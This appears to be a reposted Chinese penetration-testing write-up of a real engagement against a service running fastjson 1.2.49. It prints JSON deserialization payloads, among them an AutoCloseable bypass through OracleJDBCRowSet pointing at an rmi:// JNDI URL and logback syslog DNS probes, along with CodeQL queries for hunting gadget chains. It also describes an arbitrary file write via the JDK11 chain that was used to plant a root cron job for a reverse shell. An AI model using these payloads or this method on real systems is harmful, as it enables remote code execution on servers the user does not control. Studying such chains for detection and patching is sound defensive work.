一次实战fastjson1.2.49

渗透技巧 2年前 (2022) admin
738 0 0

某次项目中看到这么一个报错

一次实战fastjson1.2.49

fastjson1.2.49,非常的微妙。刚好逃脱1.2.47的java.lang.Class绕过,但落入了1.2.68的java.lang.AutoCloseable绕过。

1.2.68的主要绕过思路是文件写入和SSRF,当然,我们先不急着盲打,先用fastjson的一些特性进行探测。

一次实战fastjson1.2.49

可以看到,这个接口允许一个不相关的KV,依旧会返回数据。那么将不相关的KV放入一个mysql一定存在并依赖AutoCloseable的类。

一次实战fastjson1.2.49

一次实战fastjson1.2.49

可以看到,存在的类会返回数据,不存在的类会报错,这就形成了一个类似URLDNS链探测依赖的效果。如果你不加这个test则不会起到这个效果(会统一报另外一个错)。

com.mysql.cj.jdbc.ConnectionImpl不报错

com.mysql.jdbc.ConnectionImpl报错

那么我们初步判断它依赖的mysql jar包版本为8.x,这是一个不好的消息,因为这个大版本可以作为fastjson二次反序列化链的只有8.0.19这一个小版本,往下fastjson链不通,往上无法反序列化仅能SSRF。测试如下(payload见我往期文章)。

一次实战fastjson1.2.49

这个报错很明显,是LoadBalancedConnectionProxy只能传LoadbalanceConnectionUrl而不能为ReplicationConnectionUrl。

如下图,这正是大于8.0.19和小于8.0.19的区别。

一次实战fastjson1.2.49

一次实战fastjson1.2.49

换成LoadbalanceConnectionUrl呢?它的最大参数构造方法有两个。

一次实战fastjson1.2.49

fastjson在linux环境下用的下面一个。

一次实战fastjson1.2.49

在windows环境则用的上面一个。

一次实战fastjson1.2.49

但无论哪个,都无法向下做链。

HostInfo是因为存在无参构造方法,会被认为是bean,但又没有set去设置属性。

一次实战fastjson1.2.49

ConnectionUrlParser则干脆构造方法是私有的,同样无法继续向下构造。

一次实战fastjson1.2.49


那么mysql这条路是彻底堵死了。我们再试试io链,这次更狠,直接没有commons-io包。

一次实战fastjson1.2.49


还有jdk11的文件写入链。

一次实战fastjson1.2.49

这里报错是格式问题,于是将对应位置修复。

一次实战fastjson1.2.49

IOException报错,这证明MarshalOutputStream的构造方法通过了,也就是1.txt被成功创建,在后续write中出错。这证明对方的JDK版本是用javac -g编译的,在字节码中保存了变量名,符合JDK11链的利用条件(具体原理依旧见我老文章)。

那为什么这个payload会报【{】为【[】的错误呢?带着好奇心我检查了我自己服务器上JDK11和JDK8的源码。

JDK11

一次实战fastjson1.2.49

JDK8

一次实战fastjson1.2.49

很简单,JDK8没有public void setInput(ByteBuffer input)方法,因此默认的setter是public void setInput(byte[] input)

因此fastjson链可以稍微变化一下。

一次实战fastjson1.2.49

回显了信息,这证明全程没有报错,因此我获取了一个任意文件写。

但目标中间件是springboot,无法直接写webshell,需要写任务计划/sshkey/charsets.jar,都是比较危险的动作,不到最后一刻,先不使用。

后来再回顾fastjson知识时,我发现这个JDK11链的改版已经有人提过了。

http://scz.617.cn:8/web/202008111715.txt


我们已知对方fastjson版本是1.2.49,JDK11链,io链,mysql链都是1.2.68依旧还能用的链。难道就没有1.2.49可以用的链,1.2.68不能用的链吗?答案当然不是,从fastjson黑名单我们就看的出来。有源源不断的人在挖掘新链。

https://github.com/LeadroyaL/fastjson-blacklist

一次实战fastjson1.2.49拿个最眼熟的,com.mysql.cj.jdbc.admin.是不是很眼熟?在jackson链中我们用到过这条。

一次实战fastjson1.2.49

然而com.mysql.cj.jdbc.admin.MiniAdmin并未实现java.lang.AutoCloseable,也就是说这是一个需要开启AutoType的水链。

通过这些黑名单关键字的搜索,我们可以将大部分水链给搜出来。

https://blog.csdn.net/maverickpig/article/details/118916614

一次实战fastjson1.2.49


但是,其中有一个却不是水链,那就是1.2.61进入黑名单的oracle.jdbc.rowset.OracleJDBCRowSet

它实现了javax.sql.RowSet,RowSet继承了AutoCloseable,payload如下。

{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"rmi://vxxh0c.dnslog.cn:1099/Exploit","command":"111"}

过程也非常简单,通过父类setDataSourceName,然后setCommand触发getConnection。

一次实战fastjson1.2.49

那么这个payload行吗?很遗憾,对方没有ojdbc依赖。

一次实战fastjson1.2.49


但这激发了我找链的好奇心,我们在之前曾用过codeql找过有危害的getter,拿来找fastjson链不是正好吗?先知论坛有一篇文章可以借鉴思路。

https://xz.aliyun.com/t/7482

因为不知道对方的依赖情况,我们优先要找出来的是符合fastjson的构造函数,用来探测对方的依赖。

我们先搞一个springboot的常用jar包集合,然后将其全部解压到一个文件夹,再删除所有非class文件(部分非class文件会对批量反编译产生干扰)。然后用上次提到过的python小工具进行codeql建库。注意需要更改java的内存,我用的16GB。

https://github.com/waderwu/extractor-java

然后提取那些实现AutoCloseable的类,同时把一些已经被拉黑的类加上去,当然这里不全,为了防干扰你可以将fastjson-blacklist中低于1.2.49版本的类全部加上去。

class ConstructorMethod extends Constructor {    ConstructorMethod() {        this.isPublic()        and not this.getDeclaringType().isAbstract() //不是接口或者抽象类        and this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang""AutoCloseable")        and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%")        and not this.getDeclaringType().getPackage().getName().matches("org.springframework%")        and this.fromSource()    }}

然后进行查询并展示包名+类名。

from ConstructorMethod sourceselect source,source.getDeclaringType().getPackage().getName()+"."+source.getDeclaringType()

效果如下。注意查询时间可能非常长。

将类名导出,做成一个字典,放进bp里跑,根据回显结果可以大致判断目标的依赖了。

然后将所有依赖的jar包再次做成code数据库,补充getter,setter。

import java
abstract class SerializableMethod extends Method { SerializableMethod() { this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "AutoCloseable") and not this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "ClassLoader") and not this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource") and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%") and not this.getDeclaringType().getPackage().getName().matches("org.springframework%") and this.getDeclaringType().getAConstructor().hasNoParameters() and not this.getDeclaringType().isAbstract() //不是接口或者抽象类 and this.fromSource() and this.isPublic() }}
class ConstructorMethod extends Constructor { ConstructorMethod() { this.isPublic() and not this.getDeclaringType().isAbstract() //不是接口或者抽象类 and this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "AutoCloseable") and not this.getDeclaringType().getASupertype*().hasQualifiedName("java.lang", "ClassLoader") and not this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource") and not this.getDeclaringType().getPackage().getName().matches("org.apache.tomcat%") and not this.getDeclaringType().getPackage().getName().matches("org.springframework%") and this.fromSource() }}
class FastJsonSetMethod extends SerializableMethod{ FastJsonSetMethod(){ this.getName().indexOf("set") = 0 and this.getName().length() > 3 and exists(VoidType vt | vt = this.getReturnType() ) and this.getNumberOfParameters() = 1 }}
class FastJsonGetMethod extends SerializableMethod{ FastJsonGetMethod(){ this.getName().indexOf("get") = 0 and this.getName().length() > 3 and this.hasNoParameters() }}

这里我多了ClassLoader和DataSource的判断是为什么呢?因为我找到了这样一个类。

com.zaxxer.hikari.HikariDataSource

看构造方法是个bean,实现Closeable继承AutoCloseable

一次实战fastjson1.2.49

找到一个可疑setter,跟进

一次实战fastjson1.2.49

跟进super.setMetricRegistry()

一次实战fastjson1.2.49

再跟进getObjectOrPerformJndiLookup()就可以发现lookup

一次实战fastjson1.2.49

这看起来就是com.zaxxer.hikari.HikariConfig这条水链的AutoCloseable版本。但实际去反序列化的时候发现并不行,下断点跟了一下找到了原因。

一次实战fastjson1.2.49

很遗憾,因此最后加上了ClassLoader和DataSource的判断。


codeql的语句中我并没有加上lookup之类的sink点,因为经过两轮筛选下来,其实符合条件的setter/getter/Constructor非常非常少,人工就可以轻松看完。最终我只找到两个没有危害的dnslog链。

{    "@type":"java.lang.AutoCloseable",    "@type":"ch.qos.logback.core.net.SyslogOutputStream","syslogHost":"dnslog.com","port":80}
 {    "@type":"java.lang.AutoCloseable",    "@type":"ch.qos.logback.core.recovery.ResilientSyslogOutputStream","syslogHost":"dnslog.com","port":80}

而这个dnslog链在1.2.59版本也被拉黑了。

有兴趣的可以顺着我这个办法去找。


回过头来,最终我还是直接利用的JDK11链,写/var/spool/cron/root任务计划弹回shell。

原文始发于微信公众号(珂技知识分享):一次实战fastjson1.2.49

版权声明:admin 发表于 2022年8月26日 下午4:11。
转载请注明:一次实战fastjson1.2.49 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...